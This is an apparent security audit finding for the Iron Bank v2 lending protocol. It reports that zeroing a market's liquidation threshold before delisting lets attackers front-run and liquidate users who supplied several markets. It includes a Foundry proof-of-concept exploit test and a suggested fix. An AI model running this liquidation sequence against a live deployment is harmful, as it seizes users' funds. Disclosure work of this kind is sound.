Arz

high

# Setting the liquidationThreshold to 0 puts some users at risk of getting liquidated

## Summary

Before hard delisting a market the owner needs to first set the liquidationThreshold to 0. Because the _isLiquidatable() function doesnt calculate the collateral value if the liquidationThreshold is 0, some users can get liquidated. 

## Vulnerability Detail

Before the market is hard delisted, the liquidationThreshold needs to be set to 0. However, setting the liquidationThreshold to 0 puts some users at risk of getting liquidated. 
The  _isLiquidatable() function checks if the market has the liquidationThreshold set to 0. If its set to 0, the collateral value of the user wont be calculated. So when the owner sets the liquidationThreshold to 0, users that have supplied that market can get liquidated because the debt value will be bigger than the collateral value that isnt even calculated. 

The affected users are those who have supplied at least 2 markets, one of which is getting delisted. The market that is getting delisted cant be seized because of the isMarketSeizable() check but this doesnt mean that the other markets cant get seized. 


## Impact

All users that have supplied at least two markets, one of which is getting delisted are at risk of being liquidated because the collateralValue wont get calculated correctly. Even if the market is hard delisted right after the liquidationThreshold was set to 0, the attacker can front run the tx.

## Code Snippet

https://github.com/sherlock-audit/2023-05-ironbank/blob/main/ib-v2/src/protocol/pool/IronBank.sol#L1082

## Proof Of Concept

Here is an example of how can a user that supplied 2 markets, one of which is getting delisted can get liquidated by the attacker


```solidity

contract LiquidateAttackTest is Test, Common {
    uint16 internal constant reserveFactor = 1000; // 10%
    int256 internal constant market1Price = 1500e8;
    int256 internal constant market2Price = 200e8;
    int256 internal constant market3Price = 100e8;
    uint16 internal constant market1CollateralFactor = 8000; // 80%
    uint16 internal constant market1LiquidationThreshold = 9000; // 90%
    uint16 internal constant market1LiquidationBonus = 11000; // 110%

    IronBank ib;
    MarketConfigurator configurator;
    CreditLimitManager creditLimitManager;
    TripleSlopeRateModel irm;
    FeedRegistry registry;
    PriceOracle oracle;

    ERC20Market market1;
    ERC20Market market2;
    ERC20Market market3;

    address admin = address(64);
    address user1 = address(128);
    address attacker = address(256);

    function setUp() public {
        ib = createIronBank(admin);

        configurator = createMarketConfigurator(admin, ib);

        vm.prank(admin);
        ib.setMarketConfigurator(address(configurator));

        creditLimitManager = createCreditLimitManager(admin, ib);

        vm.prank(admin);
        ib.setCreditLimitManager(address(creditLimitManager));

        irm = createDefaultIRM();

        (market1,,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);
        (market2,,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);
        (market3,,) = createAndListERC20Market(18, admin, ib, configurator, irm, reserveFactor);

        registry = createRegistry();
        oracle = createPriceOracle(admin, address(registry));

        vm.prank(admin);
        ib.setPriceOracle(address(oracle));

        setPriceForMarket(oracle, registry, admin, address(market1), address(market1), Denominations.USD, market1Price);
        setPriceForMarket(oracle, registry, admin, address(market2), address(market2), Denominations.USD, market2Price);
        setPriceForMarket(oracle, registry, admin, address(market3), address(market3), Denominations.USD, market3Price);

        deal(address(market1), user1, 10000e18);
        deal(address(market2), user1, 10000e18);
        deal(address(market3), attacker, type(uint256).max);
        deal(address(market3), admin, 10000e18);


        vm.startPrank(admin);
        configurator.configureMarketAsCollateral(
            address(market1), market1CollateralFactor, market1LiquidationThreshold, market1LiquidationBonus
        );
        configurator.configureMarketAsCollateral(
            address(market2), market1CollateralFactor, market1LiquidationThreshold, market1LiquidationBonus
        );
        configurator.configureMarketAsCollateral(
            address(market3), market1CollateralFactor, market1LiquidationThreshold, market1LiquidationBonus
        );

        // Injest some liquidity for borrow.
        market3.approve(address(ib), type(uint256).max);
        ib.supply(admin, admin, address(market3), 10_000e18);
        vm.stopPrank();

        uint256 market1SupplyAmount = 10e18;
        uint256 market2SupplyAmount = 10e18;
        uint256 market2BorrowAmount = 136e18;

        vm.startPrank(user1);
        market1.approve(address(ib), market1SupplyAmount);
        market2.approve(address(ib), market1SupplyAmount);
        ib.supply(user1, user1, address(market1), market1SupplyAmount);
        ib.supply(user1, user1, address(market2), market2SupplyAmount);
        ib.borrow(user1, user1, address(market3), market2BorrowAmount);
        vm.stopPrank();
    }


    function testAttack() public {
        console.log("MARKET2 BALANCE OF THE USER BEFORE:", ib.getIBTokenBalance(user1, address(market2)));

        //Owner wants to delist a market so he sets the collateralFactor and the liquidationThreshold to 0
        vm.startPrank(admin);
        configurator.adjustMarketCollateralFactor(address(market1), 0);
        configurator.adjustMarketLiquidationThreshold(address(market1), 0);
        configurator.softDelistMarket(address(market1));
        vm.stopPrank();

        //The attack starts here
        //The attacker sees that the liquidationThreshold is set to 0 and liquidates someone before the market is hardDelisted
        vm.startPrank(attacker);
        market3.approve(address(ib), type(uint256).max);
        uint256 liquidationAmount = 18181818181818181819;
        ib.liquidate(attacker,user1,address(market3),address(market2),liquidationAmount);
        console.log("MARKET2 BALANCE OF THE USER AFTER:", ib.getIBTokenBalance(user1, address(market2)));
    }
}

```


## Tool used

Manual Review

## Recommendation

Set the liquidationThreshold to 0 and hard delist in one function.  

```solidity
function hardDelistMarket(address market) external onlyOwner {
        DataTypes.MarketConfig memory config = getMarketConfiguration(market);
        require(config.isListed, "not listed");
        require(config.isSupplyPaused() && config.isBorrowPaused(), "not paused");
        require(config.reserveFactor == MAX_RESERVE_FACTOR, "reserve factor not max");
        require(
            config.collateralFactor == 0,
            "collateral factor not zero"
        );

        if (config.isPToken) {
            address underlying = PTokenInterface(market).getUnderlying();
            DataTypes.MarketConfig memory underlyingConfig = getMarketConfiguration(underlying);
            // It's possible that the underlying is not listed.
            if (underlyingConfig.isListed && underlyingConfig.pTokenAddress != address(0)) {
                underlyingConfig.pTokenAddress = address(0);
                ironBank.setMarketConfiguration(underlying, underlyingConfig);

                emit MarketPTokenSet(underlying, address(0));
            }
        }
        config.liquidationThreshold = 0;
        ironBank.delistMarket(market);

        emit MarketDelisted(market);
    }

```
